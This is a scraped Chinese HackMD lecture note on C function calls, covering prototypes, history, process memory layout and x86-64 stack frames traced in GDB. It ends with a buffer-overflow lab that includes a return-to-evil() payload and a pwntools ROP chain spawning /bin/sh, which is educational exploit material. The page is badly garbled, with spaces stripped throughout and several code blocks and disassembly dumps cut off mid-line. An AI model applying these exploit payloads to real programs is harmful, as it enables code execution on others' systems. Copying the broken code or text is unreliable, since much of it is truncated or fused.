你所不知道的C 語言:函式呼叫篇 - HackMD
文章推薦指數: 80 %
倘若你對資訊安全有一定的認識,會知道stack(-based) buffer overflow,但真正讓 ... 因此,在早期的C 語言編譯器,強制規範function prototype 及函式宣告的順序是 ...
ownedthisnote
Published
LinkedwithGitHub
Like15
Bookmark
Subscribe
Edit
---
tags:DYKC,C,CLANG,CLANGUAGE,function
---
#[你所不知道的C語言](https://hackmd.io/@sysprog/c-prog/):函式呼叫篇
*函式呼叫和計算機結構的高度關聯*
Copyright(**慣C**)2015-2017,2022[宅色夫](http://wiki.csie.ncku.edu.tw/User/jserv)
==[直播錄影](https://youtu.be/I0uVqReO0_I)==
##簡介
在C語言中,“function”其實是特化的形式,並非數學意義上的函數,而隱含一個狀態到另一個狀態的關聯,因此,我們將一般的Cfunction翻譯為「函式」,以區別數學意義上的函數(如abs,cos,exp)。
貌似直觀的函式呼叫背後隱含著各式深奧的議題,諸如callingconvention,applicationbinaryinterface(ABI),stack和heap等等。
倘若你對資訊安全有一定的認識,會知道stack(-based)bufferoverflow,但真正讓攻擊者得逞的機制尚有前述的函式呼叫,至於Return-orientedprogramming(ROP)型態的攻擊則修改函式的回傳地址,這也是callingconvention的範疇。
本講座將帶著學員重新探索函式呼叫背後的原理,從程式語言和計算機結構的發展簡史談起,讓學員自電腦軟硬體演化過程去掌握callingconvention的考量,伴隨著stack和heap的操作,再探討C程式如何處理函式呼叫、跨越函式間的跳躍(如[setjmp](https://man7.org/linux/man-pages/man3/setjmp.3.html)和[longjmp](https://linux.die.net/man/3/longjmp)),再來思索資訊安全和執行效率的議題。
##從functionprototype談起
其實由DennisM.Ritchie(以下簡稱dmr)開發的[早期C語言編譯器](https://www.bell-labs.com/usr/dmr/www/primevalC.html)並未明確要求functionprototype的順序。
dmr在1972年發展的早期C編譯器,原始程式碼後來被整理在名為["last1120c"磁帶](https://github.com/mortdeus/legacy-cc/)中,若我們仔細看[c00.c](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/c00.c)這檔案,可發現位於第269行的[mapch(c)函式定義](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/c00.c#L269),在沒有[forwarddeclaration](https://en.wikipedia.org/wiki/Forward_declaration)的狀況下,就分別於[第246行](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/c00.c#L246)和[第261行](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/c00.c#L261)呼叫,奇怪吧?
而且只要再瀏覽[last1120c](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/)裡頭其他C語言程式後,就會發現根本沒有`#include`或`#define`這一類[Cpreprocessor](https://en.wikipedia.org/wiki/C_preprocessor)所支援的語法,那到底怎麼編譯呢?在回答這問題前,摘錄Wikipedia頁面的訊息:
>AstheCpreprocessorcanbeinvokedseparatelyfromthecompilerwithwhichitissupplied,itcanbeusedseparately,ondifferentlanguages.
>Notableexamplesincludeitsuseinthenow-deprecatedimakesystemandforpreprocessingFortran.
原來Cpreprocessor以獨立程式的形式存在,所以當我們用gcc或cl(Microsoft開發工具裡頭的C編譯器)編譯給定的C程式時,會呼叫cpp(伴隨在gcc專案的Cpreprocessor)一類的程式,先行展開巨集(macro)或施加條件編譯等操作,再來才會出動真正的C語言編譯器(在gcc中叫做`cc1`)。
值得注意的是,1972-1973年間被稱為"[VeryearlyCcompilers](https://www.bell-labs.com/usr/dmr/www/primevalC.html)"的實作中,不存在Cpreprocessor(!),當時dmr等人簡稱Ccompiler為`cc`,此慣例被沿用至今,而無論原始程式碼有幾個檔案,在編譯前,先用`cat`(該程式的作用是"concatenateandprintfile")一類的工具,將檔案串接為單一檔案,再來執行"cc"以便輸出對應的組合語言,之後就可透過assembler(組譯器,在UNIX稱為`as`)轉換為目標碼,搭配linker(在UNIX稱為`ld`)則輸出執行擋。
因此,在早期的C語言編譯器,強制規範functionprototype及函式宣告的順序是完全沒有必要的,要到1974年Cpreprocessor才正式出現在世人面前,儘管當時的實作仍相當陽春,可參見dmr撰寫的〈[TheDevelopmentoftheCLanguage](https://www.bell-labs.com/usr/dmr/www/chist.html)〉,C語言的標準化則是另一段漫長的旅程,來自BellLabs的火種,透過UNIX來到研究機構和公司行號,持續影響著你我所處的資訊社會。
在早期的C語言中,若一個函式之前沒有聲明(declare),一旦函式名稱出現在表達式中,後面跟著`(`左括號,那它會被解讀為回傳型態為`int`的函式,並且對它的參數沒有任何假設。
但這樣行為可能會導致問題,考慮以下程式碼:
```cpp=
#include
過往不用在C程式特別做functionprototype的特性已自C99標準中刪除,因此省略functionprototype將導致編譯錯誤。
你或許會好奇,functionprototype的規範還有什麼好處呢?這就要從《[RationaleforInternationalStandard--ProgrammingLanguages--C](http://pllab.cs.nthu.edu.tw/cs340402/readings/c/c9x_standard.pdf)》(以下簡稱C9XRATIONALE)閱讀起,依據第70頁(PDF檔案對應於第78頁),提到以下的解說範例:
```cpp
externintcompare(constchar*string1,constchar*string2);
voidfunc2(intx){
char*str1,*str2;
//...
x=compare(str1,str2);
//...
}
```
編譯器裡頭的最佳化階段(optimizer)可從functionprototype得知,傳遞給函式`compare`的兩個指標型態參數,由於明確標注`const`修飾子,所以僅有記憶體地址的使用並讀取相對應的內容,但不會因而變更指標所指向的記憶體內容,從而沒有產生副作用([sideeffect](https://en.wikipedia.org/wiki/Side_effect_(computer_science)))。
這樣編譯器可有更大的最佳化空間,可對照[你所不知道的C語言:編譯器和最佳化原理篇](https://hackmd.io/@sysprog/c-compiler-optimization),得知相關最佳化手法。
##程式語言發展
一如C9XRATIONALE提到,現代C語言和[其他受Algol-68影響的程式語言](https://rosettacode.org/wiki/Function_prototype),具備functionprototype機制,這使得編譯時期,就能進行有效的錯誤分析和偵測。
無論是C語言、B語言,還是Pascal語言,都可追溯到[ALGOL60](https://en.wikipedia.org/wiki/ALGOL_60)。
ALGOL是AlgorithmicLanguage(演算法使用的語言)的縮寫,提出巢狀(nested)結構和一系列程式流程控制,今日我們熟知的if-else語法,就在[ALGOL60](https://en.wikipedia.org/wiki/ALGOL_60)出現。
ALGOL60和COBOL程式語言並列史上最早工業標準化的程式語言。
黑格爾在其1820年的著作《法哲學原理》(GrundlinienderPhilosophiedesRechts)提到:(德語原文)
>Wasvernünftigist,dasistwirklich;undwaswirklichist,dasistvernünftig
英語可解讀為"Whatisrationalisactualandwhatisactualisrational."(凡是合乎理性的都是現實的,現實的都是合乎理性),其中"vernünftig"和"Vernuft"(理性)有關,英譯成"reasonable"或"rational"都非漢語「合理」的意思。
黑格爾認為,宇宙的本原是絕對精神(derabsoluteGeist),它自在地具備著一切,外化出自然界、人類社會、精神科學,最後在更高的層次上回歸自身。
像是C語言這樣的工業標準,至今仍活躍地演化,當我們回顧發展軌跡時,凡是合乎理性(vernuftig),也就必然會出現、或成為現實(wirklich),反過來說也成立。
甚至我們可推敲C9XRATIONALE字裡行間,每個看似死板規則的背後,其實都可追溯出像是上方的討論。
*早期C語言(1972-1973)$\to$K&RC(1976-1979)$\to$ANSIC(自1983年起,直到1989年才完成標準化,即C89)$\to$[ISO/IEC9899:1990](https://www.iso.org/standard/17782.html)
*ANSIC$\to$C++(1983-),後者融合[Simula67](https://en.wikipedia.org/wiki/Simula)和Ada特色
*早期的C++編譯器稱為[Cfront](https://en.wikipedia.org/wiki/Cfront),以"Cwithclasses"為人所知
*source:[HistoryofC](http://en.cppreference.com/w/c/language/history)
*許多程式語言允許function和data一樣在function內部定義,但C語言不允許這樣的nestedfunction,換言之,C語言所有的function在語法層面都是位於最頂層(top-level)
*gcc提供[nestedfunction](https://gcc.gnu.org/onlinedocs/gcc/Nested-Functions.html)擴展
*「不允許nestedfunction」這件事簡化C編譯器的設計
*在Pascal,Ada,Modula-2,PL/I,Algol-60這些允許nestedfunction的程式語言中,需要一個稱為staticlink的機制來紀錄指向目前function的外層function的資訊
*uplevelreference
##再論Function
![](https://hackpad-attachments.s3.amazonaws.com/embedded2015.hackpad.com_2q5oxqltYTG_p.299401_1455784004886_undefined)
[數學定義的Function](https://www.cs.colorado.edu/~srirams/courses/csci2824-spr14/functionsCompositionAndInverse-17.html)(==函數==)
*函數(function)f:$A\toB$是一個對應,滿足:對所有$a\inA$,存在惟一$b\inB$,使得f將a對應到b。
即$\foralla\inA,\exists!b\inB$使得$f(a)=b$。
*A稱為f的定義域(domain),B稱為f的對應域(codomain):$f(a)=\{f(a)|a\inA\}\subsetB$稱為f的值域(range)。
>f可視為從A到f(A)的函數。
*[FunctionComposition](https://en.wikipedia.org/wiki/Function_composition)本身可以組合,例如$g\circf(x)=g(f(x))$
![](https://hackpad-attachments.s3.amazonaws.com/embedded2015.hackpad.com_2q5oxqltYTG_p.299401_1455784093894_func.png)
Parametervs.Argument
+Parameter(發音[pɚ'ræmətɚ](https://cdict.net/q/parameter))(formalparameter)
```c
voidfoo(intx){}
^
```
+Argument(actualargument):因此命名慣例是`argc`(實際參數的數量)和`argv`(實際參數的向量)
```c
foo(4);
^
```
>C++甚至有[Templateparametersandtemplatearguments](https://en.cppreference.com/w/cpp/language/template_parameters)
在C語言中,"function"其實是特化的形式,並非數學意義上的函數,而隱含一個狀態到另一個狀態的關聯。
(==函式==)
摘自[Whatisthedifferencebetweenfunctionsinmathandfunctionsinprogramming?](https://stackoverflow.com/questions/3605383/what-is-the-difference-between-functions-in-math-and-functions-in-programming)的討論:
>Infunctionalprogrammingyouhave[ReferentialTransparency](https://en.wikipedia.org/wiki/Referential_transparency),whichmeansthatyoucanreplaceafunctionwithitsvaluewithoutalteringtheprogram.ThisistrueinMathtoo,butthisisnotalwaystruein[Imperativelanguages](https://en.wikipedia.org/wiki/Imperative_programming).
>..
>Themaindifference,is,then,thatALWAYSifyoucall`f(x)`inmath,youwillgetthesameanswer,butifyoucall`f'(x)`inC,theanswermaynotbethesame(tosameargumentsdon'tgetthesameoutput).
其中[Imperativelanguages](https://en.wikipedia.org/wiki/Imperative_programming)可翻譯為「指令式程式語言」,幾乎所有電腦硬體都採指令式工作,較高階的指令式程式語言使用變數和更複雜的語句,但仍依從相同的典範。
在數學函數中$y=f(x)$,一個輸入值有固定的輸出值,無論計算多少次,$sin\pi$的結果總是$0$,但在C函式中,函式的執行不僅依賴於輸入值,而且會受到全域變數、記憶體內容、已開啟的檔案、其他變數,甚至是作業系統/執行環境等諸多因素的影響。
在Linux一類UNIX風格的作業系統中,呼叫[getpid](https://man7.org/linux/man-pages/man2/getpid.2.html)函式永遠會成功得到某個整數,而且同一個process(行程)中,無論[getpid()](https://man7.org/linux/man-pages/man2/getpid.2.html)呼叫多少次,必得到同一個整數,但在其他process中,[getpid()](https://man7.org/linux/man-pages/man2/getpid.2.html)會得到另一個數值。
再者,考慮以下C程式:
```cpp
staticintcounter=0;
intcount(){return++counter;}
```
此函式沒有輸入值,但每次呼叫後都返回不同的結果。
反之,函數的返回值只依賴於其輸入值,這種特性就稱為[ReferentialTransparency](https://en.wikipedia.org/wiki/Referential_transparency)。
##Process和C程式的關聯
:::info
背景知識:
1.IRQ(interruptrequest)
2.ISR(InterruptServiceRoutines)
3.IRQmode
4.MMIOv.sPMIO
以網路卡的流程為例:
*封包進來->interrupt->ISR->IRQmode->下圖綠色的區塊裡面(IORQ)進行記憶體操作(讀取/寫入資料)
![imagealt](https://images2017.cnblogs.com/blog/1094457/201710/1094457-20171019112241084-1805450176.png)
:::
*[TheInternalsof"HelloWorld"Program](http://www.slideshare.net/jserv/helloworld-internals)
![](https://hackpad-attachments.s3.amazonaws.com/embedded2015.hackpad.com_2q5oxqltYTG_p.299401_1449482197657_undefined)
VirtualMemory與C語言角度的memory:[source](http://www.study-area.org/cyril/opentools/opentools/x909.html)(注意address是降冪還是升冪)
*Process角度的Memory:([source](https://manybutfinite.com/post/anatomy-of-a-program-in-memory/))
*==在ELF裡頭為section,進入到memory後則以process的segment去看。
==
*注意,這裡是virtualmemoryaddress(VMA)!([VMA與ELF對應](https://www.jollen.org/blog/2007/01/process_vma.html))
*Stack:由高位址長至低位址,儲存函式呼叫時個別stackframe的localvariables與returnaddress等。
*Heap:由低位址長至高位址,動態記憶體配置。
*BSSsegement:BlockStartedbySymbol,尚未初始化的變數。
*Datasegement:已經被初始化後的變數。
*在此宣告的變數會存在**datasegment**,例如:`intcontent=10`。
*但是宣告在此的pointer所指向的內容則不會,也就是說`gonzo`的內容`God'sownprototype`會是放在textsegment裡,只有pointer所存的**位址**會在datasegment。
*Textsegement:存放使用者程式的binarycode。
*裡頭變數的排序不一定是遞增或遞減。
![](https://i.imgur.com/DpZOmhb.png)
*instructions:自objectfile(ELF)映射(map)到process的programcode(機械碼)
*staticdata:靜態初始化的變數
*BSS:全名已==不可考==,一般認定為"BlockStartedbySymbol”,未初始化的變數或資料
*可用`size`命令來觀察
*Heap或datasegment:執行時期才動態配置的空間
*sbrk系統呼叫(sbrk=setbreak)
*malloc/free實際的實作透過sbrk系統呼叫
video:[CallStack](https://www.youtube.com/watch?v=5xUDoKkmuyw):生動地解釋函式之間的關聯
ELFsegment§ion
一個segment包含若干個section
```shell
$sudocat/proc/1/maps|less
55cff6602000-55cff678b000rw-p[heap]
7fff7e13f000-7fff7e160000rw-p[stack]
```
programloader
XIP:executioninplace
###回傳值
+回傳值放在暫存器可以提高效能,放不下的就放起始位址(e.g.struct)
+實驗:(bigreturn.c)
+使用gcc7.3Intel架構(`gcc-Sbigreturn.c-obigreturn.s`)
+因為程式過於冗長,所以除了第一種
+其他以
#include<stdio.h>
typedefstruct{inta[
對應的組合語言如下[[link]](https://godbolt.org/z/N9a4oJ)
可以發現回傳時直接存到%eax中,main函式直接去%eax取
p.s.因為一個整數只有32bits所以使用32位元的暫存器
get_foo:
pushq%rbp
movq%rsp,%rbp
movl$0,-4(%rbp)
+b.成員有2個integer
typedefstruct{inta[
[[link]](https://godbolt.org/z/wyFze3)
換成使用64bits的暫存器%rax放2個整數
+c.成員有4個integer
typedefstruct{inta[
[[link]](https://godbolt.org/z/QaC13r)
換成使用2個64bits的暫存器%rax放4個整數
+d.大於4個integer就不一樣了,以8為例
typedefstruct{inta[
[[link]](https://godbolt.org/z/HNCVfp)
有leaq的指令出現
LEA(LoadEffectiveAddress)用法查到很多種,又都不像是這裡的用法
##Stack
stackframe最好的朋友是2個暫存器:
*stackpointer
*framepointer
###Stack名詞解釋
x86_64暫存器:
-rip(instructionpointer):記錄下個要執行的指令位址
-rsp(stackpointer):指向stack頂端
-rbp(basepointer,framepointer):指向stack底部
![](https://i.imgur.com/S5QUT5I.png)
###動態追蹤Stack
用一個小程式來觀察stack的操作:(檔名`stack.c`)
```cpp
intfuncB(inta){
returna+1;
}
intfuncA(intb){
returnfuncB(b);
}
intmain(){
inta=funcA(1);
return0;
}
```
編譯時加上`-g`以利後續GDB追蹤:
```shell
$gcc-ostack-g-no-piestack.c
```
>`-no-pie`編譯選項是抑制[PositionIndependentExecutables(PIE)](https://www.redhat.com/en/blog/position-independent-executables-pie),便於後續分析。
若你的gcc版本較舊,可能沒有該編譯選項,可自行移去。
>PIE是啟用[addressspacelayoutrandomization](https://en.wikipedia.org/wiki/Address_space_layout_randomization)(ASLR)的預備動作,用以強化核心載入程式時,確保虛擬記憶體的排列不會總是一樣。
透過gdb追蹤程式:
```shell
$gdb-qstack
```
在GDB中使用`disas`命令將其反組譯,預設是AT&T語法,我們可改為Intel語法,得到更簡潔的輸出:
```shell
(gdb)setdisassembly-flavorintel
```
:::info
以==`(gdb)`==開頭的文字表示在GDB輸入的命令
:::
>關於二者語法的差異,可見[IntelandAT&TSyntax.](https://imada.sdu.dk/~kslarsen/dm546/Material/IntelnATT.htm)
```shell
(gdb)disasmain
Dumpofassemblercodeforfunctionmain:
0x0000000000400501:pushrbp
0x0000000000400502:movrbp,rsp
0x0000000000400505:subrsp,0x10
0x0000000000400509:movedi,0x1
0x000000000040050e:call0x4004d6
在函式呼叫尾聲,即將返回時,`funcA`會執行`leave`,其效果如下:
```
movrsp,rbp
poprbp
```
-[]`movrsp,rbp`
![](https://i.imgur.com/i2bu0fR.png=400x)
-[]`poprbp`
![](https://i.imgur.com/WbNusOO.png=400x)
此時rsp已經指向`main`函式的返回地址,接著呼叫ret時,rip就會指向返回定址,並將stackframe的狀態回復到main的stackframe
-[]ret
>![](https://i.imgur.com/3ewDJv8.png=400x)
另外,我們也可比較`funcA`與`funcB`之差異:`funcA`有`subrsp,0x8`這道指令,但`funcB`卻沒有,是因編譯器已知`funcB`之後,就不會再呼叫別的函式,也沒有`push`,`pop`等操作,因此`rsp`也不需要特別保留一段空間給`funcB`。
```shell
(gdb)disasfuncA
DumpofassemblercodeforfunctionfuncA:
0x00000000004004d6:pushrbp
0x00000000004004d7:movrbp,rsp
0x00000000004004da:subrsp,0x10
0x00000000004004de:movDWORDPTR[rbp-0x4],edi
0x00000000004004e1:moveax,DWORDPTR[rbp-0x4]
0x00000000004004e4:movedi,eax
0x00000000004004e6:moveax,0x0
0x00000000004004eb:call0x4004f2
由第8行可見,被攻擊者使用缺乏長度檢查的函式[gets()](https://man7.org/linux/man-pages/man3/gets.3.html),此外上面有一個函式會去執行`/bin/sh`,雖然使用者在一般情境無法合法的呼叫他,但是卻可以透過bufferoverflow達到改變程式流程,並觸發這個危險的函式。
首先,我們先將程式做編譯。
這邊需要特別注意的是,我們需要加上`-fno-stack-protector`以關閉`CANNARY`這個記憶體保護機制,相關的記憶體保護機制會在後面稍做介紹。
```shell
$gcc-obof-fno-stack-protector-g-no-piebof.c
```
接著可以嘗試觀察這之程式的行為,可以發現程式的行為非常單純,他會將你的輸入照實的印出來,這麼單純的程式裡頭到底暗藏的什麼玄機就讓我們繼續看下去!
```shell
$./bof
Input:
abc
abc
```
####WhySegmentationfault?
接著可以嘗試對這支程式做一些粗暴的事情:用超過長度的字串塞爆他。
```shell
$gdb-qbof
(gdb)r
Input:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ProgramreceivedsignalSIGSEGV,Segmentationfault.
```
這支程式沒意外的崩潰了,並顯示`Segmentationfault`,
```shell
(gdb)x/16ginput
0x7fffffffe470:0x61616161616161610x6161616161616161
0x7fffffffe480:0x61616161616161610x6161616161616161
0x7fffffffe490:0x61616161616161610x6161616161616161
0x7fffffffe4a0:0x61616161616161610x6161616161616161
0x7fffffffe4b0:0x61616161616161610x0061616161616161
0x7fffffffe4c0:0x00000000004004c00x00007fffffffe560
0x7fffffffe4d0:0x00000000000000000x0000000000000000
0x7fffffffe4e0:0x06fe5dce4008e8240x06fe4d7426f8e824
```
可以看到在記憶體中塞了滿滿的`0x61`,也就是我們剛剛輸入的`a`。
在上面的stack介紹中曾經提到區域變數會被存放於stack中,因此`input`這個區域變數是位於`main`函式的stack中。
而位於`stack`最頂端的是函式的`returnaddress`因此我們可推測是輸入的`a`蓋到`returnaddress`導致`rip`指到無法存取的地方。
將中斷點下在`main+53`的位置,並觀察接下來`rsp`,也就是位於`returnaddress`的值
```shell
(gdb)pdmain
Dumpofassemblercodeforfunctionmain:
0x00000000004005cc:pushrbp
0x00000000004005cd:movrbp,rsp
0x00000000004005d0:subrsp,0x10
0x00000000004005d4:movedi,0x40069c
0x00000000004005d9:call0x400470
可推斷在`gets(input)`之後之記憶體狀況如下圖:
![](https://i.imgur.com/qeuZwPx.png=400x)
####Returnto`evil()`
既然我們可以把`rip`導到`0x6161616161616161`讓他崩潰,為何不將其導到evil()呢?
```shell
(gdb)pevil
$15={int()}0x4005b6
為了方便計算這邊的輸入值為依序輸入abc...xyz
```shell
(gdb)r
Input:
abcdefghijklmnopqsttuvwxyzabcdefghijklmnop
abcdefghijklmnopqsttuvwxyzabcdefghijklmnop
ProgramreceivedsignalSIGSEGV,Segmentationfault.
(gdb)p$rsp
$3=(void*)0x7fffffffe488
(gdb)x/s0x7fffffffe488
0x7fffffffe488:"yzabcdefghijklmnop"
```
看到`$rsp`的第一個字為`y`,而'y'之前有24個字母,也就是我們需要填入24個值才碰的到returnaddress,利用得到的資訊撰寫以下exploit,並成功執行`/bin/sh`
```shell
$echo-ne"aaaaaaaaaaaaaaaaaaaaaaaa\xb6\x05@\x00\x00\x00\x00\x00">payload
$./bof
**目標:藉由ROP將各分散在各處的指令組成systemcallexec執行shell**
systemcall的執行方式
[systemcalltable](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
|Syscall#|Param1|Param2|Param3|Param4|Param5|Param6|
|--------|-------|-------|-------|-------|-------|-------|
|rax|rdi|rsi|rdx|r10|r8|r9|
|59|constchar\*filename|constchar\*constargv[]|constchar\*constenvp[]|-|-|-|
-59在systemcall中是sys_execve的編號
**因此可整理出呼叫systemcall執行shell的條件為:**
-rdi=pointertofilename
*讓rdi指向一個buffer,buffer儲存的內容為"/bin/sh"
-rsi=0
-rax=0x3b
-rdx=0
**找出可利用的指令將rax,rdi,rsi,rdx的內容設定成目標數值**
-poprax
*將stacktop放入rax
-poprdi
*將stacktop放入rdi
-poprsi
*將stacktop放入rsi
-poprdx
*將stacktop放入rdx
###尋找指令位置
以尋找帶有rid的指令為例:
```shell
$ROPgadget--binaryrop|grep'rdi'
```
找到可利用的指令並記錄記憶體位置,**切記指令結尾必須要是ret**
```
0x0000000000467265:syscall;ret#呼叫systemcall
0x00000000004014c6:poprdi;ret
0x0000000000478636:poprax;poprdx;poprbx;ret
0x00000000004015e7:poprsi;ret
0x000000000047a622:movqwordptr[rdi],rsi;ret#將rdi作為一個ptr,把rsi的內容放入rdi指到目標內容
```
gdb找可用的buffer(作為filename)
```shell
(gdb)vmmap
Warning:notrunningortargetisremote
StartEndPermName
0x004002c80x004a1149rx-p/home/xxxx/下載/函式呼叫/rop
0x004001900x004c9497r--p/home/xxxx/下載/函式呼叫/rop
0x006c9eb80x006cd408rw-p/home/xxxx/下載/函式呼叫/rop
使用0x006c9eb8可寫入的buffer
```
pythonpwntoolmodule製作payload(檔名`payload.py`)
```python
frompwnimport*
#把剛剛紀錄的gadget位置、buffer位置、offset紀錄
offset=40
scall=0x467265
pop_rdi=0x4014c6
pop_rsi=0x4015e7
pop_rax_rdx_rbx=0x478636
mov_ptr_rdi_rsi=0x47a622
buf=0x006c9eb8+200#避免buffer以有其他用途,往後200單位開始使用
#製作payload
#flat將[]內容從字串形式轉換成p64編碼
#\x00
payload='a'*40+flat([pop_rdi,buf,pop_rsi,'/bin/sh\x00',mov_ptr_rdi_rsi,pop_rax_rdx_rbx,0x3b,0x0,0x0,pop_rsi,0x0,scall])
print(payload)
```
```shell
$pythonpayload.py>>payload
$catpayload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@l@/bin/sh"G6G;@erF
```
-returnaddress存放在stack,藉由上方的payload把returnaddress取代成一串
用gdb開啟程式並載入payload測試
```shell
$gdb-qrop
(gdb)r
延伸文章資訊
- 1Is there any alternative to function pointers in c++?
I don't think there is any widely accepted advice to avoid function pointers however there are so...
- 2Am not able to call C++ function pointers from inline assembly
Stack Overflow for Teams – Start collaborating and sharing organizational knowledge. Create a fre...
- 3c++ - Explanation of function pointers - Stack Overflow
I have a problem with understanding some C++ syntax combined with function pointers and function ...
- 4你所不知道的C 語言:函式呼叫篇 - HackMD
倘若你對資訊安全有一定的認識,會知道stack(-based) buffer overflow,但真正讓 ... 因此,在早期的C 語言編譯器,強制規範function prototype 及函...
- 5Program hijacking - Rutgers CS
The best-known set of attacks are based on buffer overflow. ... The function then adjusts the sta...